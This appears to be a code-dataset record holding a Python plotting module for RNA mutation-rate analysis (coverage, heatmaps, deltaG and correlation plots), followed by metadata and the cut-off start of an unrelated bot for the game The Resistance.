AnchoredText\n\nsys.path.append(os.path.abspath(\"\"))\nfrom dreem_nap import manipulator, util\nfrom typing import Tuple, List\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import r2_score\n\n\nclass Plotter(manipulator.Manipulator):\n\n # TODO adapt to study class\n def sample_coverage_distribution(self)->None:\n \"\"\"Plot each construct vs its number of samples covered, i.e the number of samples containing this construct.\n \n \"\"\"\n\n plt.figure()\n plt.plot(np.array(self.df.groupby['construct']['samples_covered'].mean().sort_values(ascending=False)))\n plt.xlabel('Constructs (sorted)')\n plt.ylabel('Amount of samples covered')\n plt.grid()\n\n \n # TODO adapt to study class\n def valid_construct_per_sample(self)->None:\n \"\"\"Plot how many valid constructs each sample has.\n\n Raises:\n If the min_cov_bases value isn't the same for every samples.\n \"\"\"\n \n self.df.groupby('samp').count().reset_index().plot(kind='bar',x='samp', y='construct')\n assert len(self.df.min_cov_bases.unique()) == 1, \"min_cov_bases isn't unique\"\n plt.ylabel(f\"Number of construct above {int(self.df.min_cov_bases.unique())} reads\")\n plt.grid()\n\n # Works!\n def base_coverage_ROI_for_all_constructs(self)->None:\n \"\"\"Plot the base-coverage of the worst-covered base of the Region of Interest, for each construct. \n \"\"\"\n plt.figure()\n plt.plot(np.array(self.df['cov_bases_roi'].sort_values(ascending=False).reset_index())[:,1])\n plt.plot(np.arange(0,int(self.df.construct.count()),1), [int(self.df.min_cov_bases.unique())]*int(self.df.construct.count()))\n plt.legend(['Dataframe', '1000 reads line'])\n plt.xlabel('Constructs (sorted)')\n plt.ylabel('# of reads of the worst covered base in the ROI for each (sample, construct)')\n\n # Works!\n def random_9_base_coverage(self)->None:\n \"\"\"Plot the base coverage of 9 randomly picked (sample, construct).\n\n \"\"\"\n\n random_selection = np.random.randint(len(self.df), size=(9))\n fig = plt.figure(figsize=(25,10))\n for i in range(9):\n axes1 = plt.subplot(int('33'+str(i+1)))\n plt.plot(np.array(self.df['cov_bases'].iloc[random_selection[i]]))\n start, end = self.df['ROI_start'].iloc[random_selection[i]], self.df['ROI_stop'].iloc[random_selection[i]]\n plt.plot(np.arange(start, end, 1), np.array(self.df['cov_bases'].iloc[random_selection[i]])[start:end])\n plt.plot(np.arange(0, len(self.df['cov_bases'].iloc[random_selection[i]])), len(self.df['cov_bases'].iloc[random_selection[i]])*[int(self.df.min_cov_bases.unique())])\n plt.xlabel(\"Bases\")\n plt.ylabel(\"Coverage\")\n plt.title(f\"Construct {self.df['construct'].iloc[random_selection[i]]}, sample {self.df['samp'].iloc[random_selection[i]]} \")\n plt.grid()\n plt.legend([\"Base coverage (all)\", 'Base coverage (ROI)', 'min_cov_bases'])\n axes2 = axes1.twinx() \n axes2.set_ylabel('Coverage [%]')\n axes2.set_ylim((0,100*max(self.df['cov_bases'].iloc[random_selection[i]]))/self.df['num_reads'].iloc[random_selection[i]])\n fig.tight_layout()\n\n # Works!\n def base_coverage(self, samp:str, construct:str)->None:\n \"\"\"Plot the base coverage of a specific (sample, construct).\n \n Args:\n samp: sample of interest.\n construct: construct of interest. \n \"\"\"\n\n ax1 = plt.subplot()\n serie = self.df.set_index(['samp','construct']).loc[samp, construct]\n plt.plot(np.array(serie['cov_bases']))\n start, end = serie['ROI_start'], serie['ROI_stop']\n plt.plot(np.arange(start, end, 1), np.array(serie['cov_bases'])[start:end])\n plt.plot(np.arange(0, len(serie['cov_bases'])), len(serie['cov_bases'])*[int(self.df.min_cov_bases.unique())])\n plt.xlabel(\"Bases\")\n plt.ylabel(\"Coverage\")\n plt.title(f\"Construct {construct}, sample {samp} \")\n plt.grid()\n plt.legend([\"Base coverage (all)\", 'Base coverage (ROI)', 'min_cov_bases'])\n ax2 = ax1.twinx() \n ax2.set_ylabel('Coverage [%]')\n ax2.set_ylim(0,100*max(serie['cov_bases'])/serie['num_reads'])\n plt.tight_layout()\n\n # Works!\n def heatmap(self, column:str)->None:\n \"\"\"Plot the heatmap of a specific column of your dataframe, w.r.t the samples and constructs.\n\n Args:\n column: a specific column of your dataframe. \n \"\"\"\n\n base_cov_plot = self.df.pivot(\"samp\",\"construct\", column).astype(float)\n f, ax = plt.subplots()\n sns.heatmap(base_cov_plot, annot=False, linewidths=0, ax=ax, norm=LogNorm())\n\n\n def mut_rate_vs_base_non_pairing_prob(self, samp:str, construct:str, plot_type=['mut','prob','corr'], bases_type=['A','C','G','T'], roi_range = 'all'):\n \"\"\"Plot a mutation rate histogram, a base non-pairing probability histogram, and a scatter plot fitting the mutation rate vs the base non-pairing. \n The base non-pairing values are 1 - base-pairing values.\n\n Args:\n samp (str): your sample of interest\n construct (int): your construct of interest.\n plot_type (list[str]): which plots that you want. Default is ['mut','prob','corr'] (all plots). \\\n 'mut' is for the mutation histogram. 'prob' is for the non-pairing probability histogram. 'corr' is for the scatter plot correlating \\\n the mutation rate and the non-pairing probability. 'merge' gives all plots together.\n bases_type (list[str]): which bases that you want to take into account. Default is ['A','C','G','T']\n roi_range (list[int]): 0-index of the bases that you want to take into account. Default is 'all'.\n \"\"\"\n\n COLOR_PER_BASE = {'A':'r','C':'b','G':'y','T':'g'}\n\n if roi_range == 'all':\n start, end = self.df[(self.df['samp']==samp)&(self.df['construct']==construct)]['start'].iloc[0],self.df[(self.df['samp']==samp)&(self.df['construct']==construct)]['end'].iloc[0]\n roi_range = list(range(start-1,end))\n\n def split_bases(df, column):\n \"\"\"Split a sample-construct dataframe into 4 columns, one per base. The columns contain the value of the column 'column' entered as an input.\n \"\"\"\n\n df = pd.DataFrame(df[column])\n df_hist = pd.DataFrame()\n df_hist.index = df.reset_index()['index']\n\n for base in bases_type:\n df_hist[base] = pd.Series(dtype=float)\n df_hist[base] = df.loc[base]\n\n return df_hist\n\n def plot_histogram(df, title, ax = None):\n \"\"\"Plot histogram using a base-wise splitted sample-construct dataframe.\n \"\"\"\n\n df.plot.bar(stacked=True, figsize=(35,7), color= [COLOR_PER_BASE[base] for base in bases_type], rot=90, ax=ax)\n plt.title(f\"{title}, sample {samp}, construct {construct}\")\n\n def plot_scatter(df):\n \"\"\"Plot scatter plot using a base-wise splitted sample-construct dataframe.\n \"\"\"\n \n from sklearn.linear_model import LinearRegression\n\n x, y = df['base non-pairing probability'], df['mut_rate']\n x, y = np.array(x).reshape(-1,1), np.array(y).reshape(-1,1)\n\n for base, color in zip(bases_type, [COLOR_PER_BASE[base] for base in bases_type]):\n px, py = split_bases(df, 'base non-pairing probability'), split_bases(df, 'mut_rate')\n plt.plot(px[base], py[base],color+'.')\n plt.legend(['A','C','G','T'])\n plt.xlabel('Base non-pairing probability')\n plt.ylabel('Mutation rate')\n\n try:\n model = LinearRegression().fit(x,y)\n plt.plot(model.predict(np.array([0,1]).reshape(-1,1)))\n except:\n \"Couldn't fit the model\"\n\n plt.title(f\"Base non-pairing prob vs mut rate \\n \\\n sample {samp}, construct {construct} \\n \" + \\\n 'R2= {:.5}, y = {:.5} x + {:.5}'.format(model.score(x, y), float(model.coef_[0]),model.intercept_[0])) \n\n\n # Data wrangling\n df_sc = self.get_roi_info(samp, construct, bases_type=bases_type, roi_range=roi_range)\\\n .reset_index()\\\n .drop(columns=['paired','roi_structure_comparison','roi_deltaG'])\\\n .set_index(['base','index'])\n df_sc['base non-pairing probability'] = 1 - df_sc['base_pairing_prob']\n\n # Plots\n if 'prob' in plot_type:\n plot_histogram(split_bases(df_sc, 'base non-pairing probability'), 'Base non-pairing probability')\n if 'mut' in plot_type:\n plot_histogram(split_bases(df_sc, 'mut_rate'), 'Mutation rate')\n if 'corr' in plot_type:\n plot_scatter(df_sc)\n \n if 'merge' in plot_type:\n plt.figure(figsize=(20,10))\n plot_histogram(split_bases(df_sc, 'base non-pairing probability'), 'Base non-pairing probability', plt.subplot(2,1,1))\n plot_histogram(split_bases(df_sc, 'mut_rate'), 'Mutation rate', plt.subplot(2,1,2))\n plt.tight_layout()\n\n\n def base_wise_mut_vs_prob(self, bases:list[int], samp:str=None, sub_lib=None, figsize:tuple=(7,4), ylim:tuple=None):\n \"\"\"Plot the mutation rate vs 1 - the probability of base-pairing for a set of bases across all constructs in a sample.\n\n Args:\n bases (list[int]): the indexes of the bases that you want to plot.\n samp (str, optional): Your sample of interest. If none, all samples of the study will be plotted on the same plot. Defaults to None.\n figsize (tuple, optional): Size of a plot. When multiple plots are stacked, this size extends linearly. Defaults to (7,4).\n ylim (tuple, optional): ylim of the plots. Defaults to None.\n \"\"\"\n COLORS = ['r','b','g','y'] \n re_shape = lambda x: np.array(x).reshape(-1,1)\n\n def make_stack(df, samp, bases):\n stack = { 'pred':{base:[] for base in bases}, 'mut':{base:[] for base in bases}}\n for construct in df[df.samp==samp].construct.unique():\n df_loc = self.get_roi_info(samp, construct, bases_type=['A','C','G','T'], roi_range=bases)\\\n .reset_index()\\\n .set_index('index')\n for base in bases:\n stack['pred'][base].append(1-df_loc['base_pairing_prob'].loc[base])\n stack['mut'][base].append(df_loc['mut_rate'].loc[base])\n return stack\n\n def make_figure(ylim):\n plt.figure(figsize=figsize)\n if ylim is not None:\n plt.ylim(ylim)\n plt.title(f\"Study: {self.title}, Value: {self.conditions[self.samples.index(samp)]}, Sample: {samp}\")\n\n def make_subfigure(samp, ylim, ind): \n plt.title(f\"Study: {self.title}, Value: {self.conditions[self.samples.index(samp)]}, Sample: {samp}\")\n plt.subplot(len(self.samples),1,ind)\n if ylim is not None:\n plt.ylim(ylim)\n \n def make_models(stack, bases):\n model, score, coef, intercept = {}, {}, {}, {}\n for base in bases:\n x, y = re_shape(stack['pred'][base]), re_shape(stack['mut'][base])\n try:\n model[base] = LinearRegression().fit(x,y)\n except:\n return None\n \n score[base], coef[base], intercept[base] = model[base].score(x, y), float(model[base].coef_[0]),model[base].intercept_[0]\n return model, score, coef, intercept \n\n def plot_scatter(stack, bases):\n for base, color in zip(bases,COLORS):\n x, y = re_shape(stack['pred'][base]), re_shape(stack['mut'][base])\n plt.xlabel('1-pairing probability')\n plt.ylabel('Mutation rate')\n plt.plot(x,y,color+'.')\n\n def plot_fit_and_legend(model, score, coef, intercept):\n legend = []\n for base, color in zip(bases,COLORS):\n plt.plot(model[base].predict(np.array([0,1]).reshape(-1,1)), color)\n legend.append(f\"base:{base}\"+' R2= {:.4}, y = {:.4} x + {:.4}'.format(score[base], coef[base], intercept[base])) \n plt.legend(legend)\n\n df = util.filter_df_by_sub_lib(self.df, sub_lib)\n\n if samp is not None:\n stack = make_stack(df, samp, bases)\n make_figure(ylim)\n plot_scatter(stack, bases)\n model_items = make_models(stack, bases)\n if model_items != None: \n plot_fit_and_legend(*model_items)\n plt.tight_layout()\n\n else:\n plt.figure(figsize=[figsize[0],len(self.samples)*figsize[1]])\n for ind, samp in enumerate(self.samples):\n stack = make_stack(df, samp, bases)\n make_subfigure(samp, ylim, ind+1)\n plot_scatter(stack, bases)\n model_items = make_models(stack, bases)\n if model_items != None: \n plot_fit_and_legend(*model_items)\n plt.tight_layout()\n\n\n def mut_histogram(self, samp:str, construct:str, plot_type:str, figsize=(35,7))->None:\n \"\"\"Plot the mutation rate of a specific (sample, construct).\n\n Args:\n plot_type: 'index' or 'partition'. \n - 'index' uses bases numbers as index and the original construct bases as colors.\n - 'partition' uses original sequence bases as index and the partition of mutated bases as colors.\n samp]: sample of interest.\n construct: construct of interest.\n \"\"\"\n\n df_use = self.df.set_index(['samp','construct'])\n \n if not plot_type in ['index','partition']:\n raise Exception(f\"{plot_type} must be 'index' or 'partition', please check this argument\")\n\n if plot_type == 'index': # Plot the mutation rate for each base along the sequence\n\n mut_per_base = pd.DataFrame({'mut_rates': df_use['mut_rates'].loc[samp, construct]\n ,'base':list(df_use['sequence'].loc[samp, construct])})\\\n .reset_index()\\\n .set_index(['base', 'index'])\n df_hist = pd.DataFrame()\n df_hist.index = mut_per_base.reset_index()['index']\n\n for base in ['A','C','G','T']:\n df_hist[base] = pd.Series(dtype=float)\n df_hist[base] = mut_per_base.loc[base]\n\n #df_hist.index = mut_per_base.reset_index()['base']\n\n ax = df_hist.plot.bar(stacked=True, color=['r','b','y','g'], figsize=figsize)\n plt.title(f\"sample {samp}, construct {construct}\")\n\n if plot_type == 'partition': # Plot the partition of mutations for each base along the sequence\n df_hist = pd.DataFrame()\n for base in ['A','C','G','T']:\n df_hist[f\"mod_bases_{base}\"] = np.array(df_use[f\"mod_bases_{base}\"].loc[samp, construct][1:])/df_use['info_bases'].loc[samp, construct][1:]\n\n df_hist.index = list(df_use['sequence'].loc[samp,construct])\n\n ax = df_hist.plot.bar(stacked=True, color=['r','b','y','g'], figsize=figsize)\n\n return ax\n \n\n def deltaG(self, samp:str, bases_type=['A','C'], roi_range='roi')->None:\n \"\"\"Plot the mutation rate of each paired-predicted base of the ROI for each construct of a sample, w.r.t the deltaG estimation.\n \n Args:\n sample: sample of interest.\n \"\"\"\n\n fig = util.define_figure(title=samp,\n xlabel='deltaG [kcal]',\n ylabel='Mutation ratio',\n figsize=(20,5))\n\n stack_for_plot = {'0':{'x':[],'y':[]},'1':{'x':[],'y':[]}}\n\n for construct in self.df[self.df.samp==samp].construct.unique():\n roi_part = self.get_roi_info(samp=samp, construct=construct, bases_type=bases_type, roi_range=roi_range)\n for base in bases_type:\n for roi_struct_comp in ['0','1']:\n try: \n this_base_mut = roi_part.xs((base,True,roi_struct_comp), level=('base','paired','roi_structure_comparison'))\n stack_for_plot[roi_struct_comp]['x'].extend(this_base_mut['roi_deltaG'].to_list())\n stack_for_plot[roi_struct_comp]['y'].extend(this_base_mut['mut_rate'].to_list())\n except:\n continue\n plt.plot(stack_for_plot['0']['x'],stack_for_plot['0']['y'],'b.')\n plt.plot(stack_for_plot['1']['x'],stack_for_plot['1']['y'],'r.')\n plt.legend(['A and C bases of the ROI, predicted paired by RNAstructure for both the ROI sequence and the full sequence',\\\n 'A and C bases of the ROI part, predicted paired by RNAstructure for the full sequence but not for the ROI sequence'])\n plt.ylim([0,0.15])\n fig.tight_layout()\n\n \n def deltaG_basewise(self, samp:str, roi_range, sub_lib = None, full_seq_pairing=None, bases_type = ['A','C'], style='.', figsize=(20,5))->None:\n \"\"\"Plot the mutation rate of each paired-predicted base of the ROI for each construct of a sample, w.r.t the deltaG estimation.\n \n Args:\n sample: sample of interest.\n roi_range: 0-index index of the bases to plots\n sub_lib: a str contained in your sub-library(ies) of interest.\n full_seq_pairing: pairing state of plotted bases, w.r.t the full-seq prediction. default is None. None: both paired and unpaired bases. 'paired': only paired bases. 'unpaired': only unpaired bases.\n \"\"\"\n\n # Define util\n PAIRED, UNPAIRED = '1','0' \n to_str = {PAIRED: 'paired', UNPAIRED:'unpaired'} \n to_macro = {v: k for k, v in to_str.items()} \n xor = lambda a,b: bool(((not a) and b) or ((not b) and a))\n\n # filter by sub-library\n if sub_lib != None:\n df = self.df.loc[self.df['sub-library'].apply(lambda x: sub_lib in x)].copy()\n else:\n df = self.df.copy()\n\n # Select which pairing\n sequence_pairings = [PAIRED, UNPAIRED]\n if full_seq_pairing != None:\n sequence_pairings = [to_macro[full_seq_pairing]] \n\n # util for plotting\n legend = []\n fig = util.define_figure(title=samp,\n xlabel='deltaG [kcal]',\n ylabel='Mutation ratio',\n figsize=figsize)\n\n stack_for_plot = {PAIRED: {PAIRED:{'x':[],'y':[]},UNPAIRED:{'x':[],'y':[]}}, \n UNPAIRED: {PAIRED:{'x':[],'y':[]},UNPAIRED:{'x':[],'y':[]}}}\n\n # For each construct of this sample get your data\n for construct in df[df.samp == samp].construct.unique():\n roi_part = self.get_roi_info(samp=samp, construct=construct, roi_range=roi_range, bases_type=bases_type)\n for sequence_pairing in sequence_pairings: # Sequence-wise prediction\n for roi_struct_comp in [UNPAIRED, PAIRED]: \n roi_pairing = str(int( xor(bool(int(roi_struct_comp)), bool(int(sequence_pairing))))) # ROI-wise prediction\n try: \n this_base_mut = roi_part.xs((int(sequence_pairing),roi_struct_comp), level=('paired','roi_structure_comparison')).reset_index()\n this_base_mut = this_base_mut[this_base_mut['index'].isin(roi_range)]\n stack_for_plot[sequence_pairing][roi_pairing]['x'].extend(this_base_mut['roi_deltaG'].to_list())\n stack_for_plot[sequence_pairing][roi_pairing]['y'].extend(this_base_mut['mut_rate'].to_list())\n except:\n continue\n\n # Plot the data\n for sequence_pairing in sequence_pairings: # Sequence-wise prediction\n for roi_struct_comp in [UNPAIRED, PAIRED]: \n roi_pairing = str(int( xor(bool(int(roi_struct_comp)), bool(int(sequence_pairing))))) # ROI-wise prediction\n plt.plot(stack_for_plot[sequence_pairing][roi_pairing]['x'],stack_for_plot[sequence_pairing][roi_pairing]['y'], style)\n legend += [f\"A and C selected bases, sequence-wise pairing prediction: {to_str[sequence_pairing]}, ROI-wise pairing prediction: sequence-wise pairing prediction: {to_str[roi_pairing]}\"]\n plt.legend(legend)\n plt.ylim([0,0.15])\n fig.tight_layout()\n\n def sliding_window_r2_gini(self, study, samples, construct,sub_lib=None,bases_type = ['A','C','G','T'], roi_range = None, ylim = [-20,1], force_ylim = False, win_len=10):\n\n def check_sanity(df, samples, construct, roi_range):\n df_sc_col = lambda df, samp, construct, col: df[(df['construct']==construct) & (df['samp'] == samp)][col].iloc[0]\n\n # Check that the sample-constructs exists\n for samp in samples:\n try: \n df_sc_col(df, samp, construct, 'sequence')\n except:\n raise Exception(f\"Sample-construct ({samp},{construct}) wasn't found in the dataframe\")\n\n # Check that both sequences have the same length\n seq_len = lambda df, samp, construct : len(df_sc_col(df, samp, construct, 'sequence'))\n assert seq_len(df, samples[0], construct) == seq_len(df, samples[1], construct), \"sequences don't have the same length\"\n true_seq_len = seq_len(df, samples[0], construct)\n\n if roi_range == None:\n roi_range = list(range(0,seq_len(df, samples[0], construct)))\n \n return true_seq_len, roi_range\n\n def compute_stack(true_seq_len, df, construct, bases_type, roi_range, win_len):\n stack = []\n get_mut_rate = lambda samp: np.array(self.get_roi_info(samp, construct, bases_type=bases_type,roi_range=roi_range)['mut_rate'])\n X, Y = get_mut_rate(samples[0]), get_mut_rate(samples[1])\n for i in range(true_seq_len-(win_len+1)):\n x, y = X[i:i+win_len], Y[i:i+win_len]\n stack.append(r2_score(x,y))\n return stack\n\n\n def plot(stack, study, construct, ylim):\n gini = util.gini(np.array(stack))\n plt.plot(stack)\n plt.xlabel('Position (bp)')\n plt.ylabel('Correlation (R^2)')\n if ylim is not None:\n bottom, top = plt.ylim()\n if force_ylim:\n plt.ylim(ylim)\n else:\n plt.ylim((max(bottom, ylim[0]),min(top,ylim[1])))\n plt.title(f\"Study: {study.title}, values: {[study.conditions[study.samples.index(samp)] for samp in samples]}, \\\n \\n construct: {construct}, samples: {samples} \\n \\\n Gini index: {round(gini,5)}\")\n\n df = util.filter_df_by_sub_lib(self.df, sub_lib)\n true_seq_len, roi_range = check_sanity(df, samples, construct, roi_range)\n stack = compute_stack(true_seq_len, df, construct, bases_type, roi_range, win_len)\n plot(stack, study, construct, ylim)\n\n\n\n def _correlation_2_samples(self, samples:Tuple[str,str], constructs:List[int], axs:plt.axes=None)->pd.DataFrame:\n \"\"\"Plot the mutation rate of each paired-predicted base of the ROI for a sample vs the same base in another sample, and this for specific constructs.\n\n Args:\n samples: samples of interest.\n constructs: constructs of interest.\n axs: a plt.axes object to use - for example for subplotting.\n \n Returns:\n A single-lined Pandas dataframe with values for r_value and slope.\n \"\"\"\n\n if axs is None:\n _, axs = plt.subplots(1,1)\n\n paired = {True: '.',False:'x'}\n roi_structure_comparison_color = {'0':'b','1':'r'}\n x_all, y_all = [], []\n for construct in constructs:\n for is_paired in paired: \n self.get_roi_info(samples[1], construct)\n for roi in roi_structure_comparison_color:\n try:\n x, y = np.array(self.get_roi_info(samples[1], construct)['mut_rate'].xs((is_paired,roi), level=('paired','roi_structure_comparison')), dtype=float),\\\n np.array(self.get_roi_info(samples[0], construct)['mut_rate'].xs((is_paired,roi),level=('paired','roi_structure_comparison')), dtype=float)\n axs.plot(x,y,f\"{roi_structure_comparison_color[roi]}{paired[is_paired]}\")\n axs.tick_params(axis='x', labelrotation = 45)\n x_all.extend(x), y_all.extend(y)\n except:\n axs.plot()\n continue\n result = linregress(x_all,y_all)\n p = np.poly1d((result.slope,result.intercept))\n t = np.linspace(min(x_all),max(x_all))\n axs.plot(t,p(t),'g-')\n axs.grid()\n axs.set(xlabel=f\"Mutation rate of sample {samples[1]}\", ylabel=f\"Mutation rate of sample {samples[0]}\")\n anchored_text = AnchoredText(f\"R = {round(result.rvalue,3)}, slope = {round(result.slope,3)}\", loc=2)\n axs.add_artist(anchored_text)\n df_corr = pd.DataFrame({'sample_0':samples[0], 'sample_1':samples[1], 'r_value':result.rvalue, 'slope':result.slope}, index=[0])\n return df_corr\n\n\n def correlation_n_samples(self, constructs:List[int])->pd.DataFrame: \n \"\"\"Plot correlation_2_samples() for each possible pair in the samples list, and this for specific constructs, in a single plot.\n\n Args:\n constructs: constructs of interest.\n\n Returns:\n A Pandas dataframe with values for r_value and slope for each possible pair in the samples list.\n \"\"\"\n samples = self.samples\n\n df_global_corr = pd.DataFrame(columns=['sample_0', 'sample_1', 'r_value', 'slope'])\n plt.figure(figsize=(30*len(samples), 30*len(samples)))\n fig, axs = plt.subplots(len(samples)+1,len(samples), figsize= (30,30), sharex=True, sharey=True)\n for x in range(1,len(samples)+1):\n for y in range(0,len(samples)):\n df_global_corr = pd.concat((df_global_corr, self._correlation_2_samples(self.df, (samples[x-1], samples[y]), constructs, axs[x][y])),\n axis = 0,\n join=\"outer\",\n ignore_index=True)\n axs[0,len(samples)-1].plot(0,0,'b.',0,0,'r.',0,0,'bx',0,0,'rx',0,0,'g-') \n axs[0,len(samples)-1].legend(['Paired in full sequence RNAstructure, paired in ROI RNAstructure',\n 'Paired in full sequence RNAstructure, not paired in ROI RNAstructure',\n 'Not paired in full sequence RNAstructure, not paired in ROI RNAstructure',\n 'Not paired in full sequence RNAstructure, paired in ROI RNAstructure',\n 'Fit'])\n return df_global_corr\n\n\n def study_sample(self, bases_type:list[str]=['A','C'], sub_lib:str=None, structure:str='full', scale_x:str = 'lin', roi_range=None, overlay=0,figsize:Tuple[float,float]=None):\n \"\"\"Plot the mean of the mutation rate of the ROI bases, for each sample of the study.\n\n Args:\n bases_type (list[str], optional): list of the bases to filter-in. Defaults to ['A','C'].\n sub_lib (str, optional): select a specific set of constructs by grouping by the 'sub_library' column of the df. Defaults to None.\n structure (str, optional): what sequence the structure prediction is based on. Can be 'full' or 'roi'. Defaults to 'full'.\n roi_range: default is None. Array of base indexes (list[int]). ex: [80, 83, 91].\n scale_x (str, optional): linear 'lin' or log 'log' for the x scale of plots. Defaults to 'lin'.\n overlay (int, optional): extend/shrink roi. Defaults to 0.\n 'all': the roi is all bases\n int-type argument: the roi is the subsequence [start_roi_index-overlay, end_roi_index+overlay] \n tuple[int]-type argument: the roi is the subsequence [start_roi_index+overlay[0], end_roi_index+overlay[1]].\n figsize (Tuple, optional): size of the plotted figure. Defaults to None.\n\n Raises:\n f: if sub-library isn't a valid element of the 'sub-library' column of the dataframe.\n \"\"\"\n\n df = util.filter_df_by_sub_lib(self.df, sub_lib)\n constructs = df.construct.unique()\n\n samples = self.samples\n paired, unpaired = np.zeros(len(samples)), np.zeros(len(samples))\n for count, samp in enumerate(samples):\n for construct in constructs:\n df_roi = self.get_roi_info(samp, construct, bases_type=bases_type,structure=structure, roi_range=roi_range)\n if True in df_roi.reset_index()['paired'].unique():\n paired[count] += df_roi.xs(True, level= 'paired')['mut_rate'].mean()/len( df.construct.unique())\n if False in df_roi.reset_index()['paired'].unique():\n unpaired[count] += df_roi.xs(False, level= 'paired')['mut_rate'].mean()/len( df.construct.unique())\n if figsize != None:\n fig = plt.figure(figsize=figsize)\n else:\n fig = plt.figure()\n \n scaled_plot = {'lin':plt.plot, 'log':plt.semilogx}[scale_x]\n scaled_plot(self.conditions, paired, 'r.-')\n scaled_plot(self.conditions, unpaired, 'b.-')\n plt.xlabel(f\"{self.title}\")\n plt.ylabel('Mean mutation rate for the ROI')\n plt.legend(['Paired-predicted bases','Unpaired-predicted bases'])\n\n \n fig.suptitle(f\"Study: {self.name}, sub-library: {sub_lib}, bases types: {bases_type}, structure prediction: {structure}, roi_range: {roi_range_name}\", fontsize=16)\n\n\n\n\n def study_base(self, construct:str, bases_type = ['A','C'], structure = 'roi', scale_x = 'lin', roi_range:List[int]=None, overlay=0, split_paired=True,figsize=(24,10))->None:\n \"\"\"Generate line-plots of each base's mutation rate w.r.t a study's conditions, for a specific construct.\n\n Args:\n construct (int): construct of interest.\n bases_type (list[str]): bases to display, sublist of ['A','C','G','T']\n structure: what sequence the structure prediction is based on. Can be 'full' or 'roi'.\n scale_x (str): linear 'lin' or log 'log'\n roi_range: default is None. Array of base indexes (list[int]). ex: [80, 83, 91].\n overlay (str or int or tuple[int]): extend/shrink roi\n 'all': the roi is all bases\n int-type argument: the roi is the subsequence [start_roi_index-overlay, end_roi_index+overlay] \n tuple[int]-type argument: the roi is the subsequence [start_roi_index+overlay[0], end_roi_index+overlay[1]].\n split_paired (bool): If True, make two subplots, one for paired bases and one for unpaired bases. If False, join all bases in one plot. Default is True.\n figsize (Tuple(int,int)): size of the plotted figure.\n \n Raise:\n \"overlay and roi_range are non-compatible arguments.\"\n \"\"\"\n\n assert not (overlay != 0 and roi_range != None), \"overlay and roi_range are non-compatible arguments.\"\n\n df_paired, df_not_paired = pd.DataFrame(), pd.DataFrame()\n\n df = self.df.copy()\n\n for samp in self.samples:\n df_roi = self.get_roi_info(samp=samp, construct=construct, bases_type=bases_type, structure=structure, roi_range=roi_range)\n if True in df_roi.reset_index()['paired'].unique():\n df_paired = pd.concat((df_paired, \n df_roi['mut_rate'].xs(True, level='paired').reset_index().set_index('index')\n .drop(columns=['base','roi_structure_comparison']).transpose()))\n if False in df_roi.reset_index()['paired'].unique():\n df_not_paired = pd.concat((df_not_paired, \n df_roi['mut_rate'].xs(False, level='paired').reset_index().set_index('index')\n .drop(columns=['base','roi_structure_comparison']).transpose()))\n\n\n intersection = lambda lst1, lst2: list(set(lst1) & set(lst2))\n\n if not df_paired.empty:\n df_paired = df_paired.set_index(pd.Series(self.conditions))\n paired_idx = intersection(df_paired.columns, roi_range)\n df_paired = df_paired[paired_idx].sort_index(axis=1)\n\n if not df_not_paired.empty:\n df_not_paired = df_not_paired.set_index(pd.Series(self.conditions))\n not_paired_idx = intersection(df_not_paired.columns, roi_range) \n df_not_paired = df_not_paired[not_paired_idx].sort_index(axis=1)\n\n # Plot it\n fig = plt.figure()\n fig.suptitle(f\"Construct: {construct}, \\\n study: {self.name},\\\n ROI deltaG: {df[df.construct==construct]['roi_deltaG'].iloc[0]},\\\n bases types: {bases_type}, \\\n structure prediction: {structure},\\\n roi_range: {roi_range_name}\", \\\n fontsize=16)\n \n if split_paired:\n ax1, ax2 = plt.subplot(121), plt.subplot(122)\n else: \n ax1=plt.axes()\n ax2 = ax1\n \n if not df_paired.empty:\n df_paired.plot(figsize=figsize,\n logx={'lin':False, 'log':True}[scale_x],\n ax=ax1, \n title='Paired bases', \n xlabel=f\"{self.title}\",\n ylabel=\"Mutation rate\", \n style='.-')\n \n if not df_not_paired.empty:\n df_not_paired.plot(figsize=figsize,\n logx={'lin':False, 'log':True}[scale_x],\n ax=ax2, \n title='Unpaired bases', \n xlabel=f\"{self.title}\",\n ylabel=\"Mutation rate\",\n style='.-')\n \n","repo_name":"yvesmartindestaillades/dreem_nap","sub_path":"dreem_nap/plotter old old.py","file_name":"plotter old old.py","file_ext":"py","file_size_in_byte":34983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32375739040","text":"\r\nfrom player import Bot\r\nfrom game import State\r\nimport random\r\nimport itertools\r\n\r\nclass REBot(Bot):\r\n\r\n\r\n\r\n #Keeps count of the games played\r\n gameCounter = 1\r\n # Initialize variables that need to be initialized once for all games\r\n\r\n # Dictionary mapping each bot encountered in games to an accumulated score\r\n evaluation_meter = {}\r\n\r\n #Convers Suspicion_meter dictionary to a Suspicion_meter list of tuples in ascending order, with or without self\r\n def suspicionMeterToSortedList(self,suspicion_meter,isSpy):\r\n\r\n # Create temporary list from Suspicion meter dictionary as a list of tuples\r\n current_suspicion_meter_list = suspicion_meter.items()\r\n\r\n #If I am Resistance, I don't need myself in the suspicion list, I know I am Resistance\r\n if isSpy is False:\r\n current_suspicion_meter_list = [suspicion_tuple for suspicion_tuple in current_suspicion_meter_list\r\n if suspicion_tuple[0] is not self.name]\r\n\r\n # Sort suspicion meter based on Suspicion metric in ascending order\r\n current_suspicion_meter_list = sorted(current_suspicion_meter_list, key=lambda suspicion: suspicion[1],\r\n reverse=True)\r\n\r\n return current_suspicion_meter_list\r\n\r\n def evaluationMeterToSortedList(self,evaluation_meter):\r\n\r\n # Create temporary list from Evaluation meter dictionary as a list of tuples\r\n current_evaluation_meter_list = evaluation_meter.items()\r\n\r\n #Get only the players in this game from Evaluation meter list that are not me\r\n current_evaluation_meter_list = [evaluation_tuple for evaluation_tuple in current_evaluation_meter_list\r\n if evaluation_tuple[0] in str(self.game.players) and\r\n evaluation_tuple[0] is not self.player_name]\r\n\r\n\r\n # Sort evaluation meter based on Evaluation metric in ascending order\r\n current_evaluation_meter_list = sorted(current_evaluation_meter_list, key=lambda evaluation: evaluation[1],\r\n reverse=True)\r\n\r\n return current_evaluation_meter_list\r\n\r\n def onGameRevealed(self, players, spies):\r\n\r\n # Initialize variables that need to be initialized every game\r\n self.number_each_bot_selected = {}\r\n self.number_each_bot_voted_for = {}\r\n self.selectionsMade = 0\r\n self.votesMade = 0\r\n self.isSpy = False\r\n self.firstSabotage = False\r\n\r\n # Agressive mode makes the bot more aggressive and is enabled if bot is losing\r\n self.agressive_mode = False\r\n\r\n 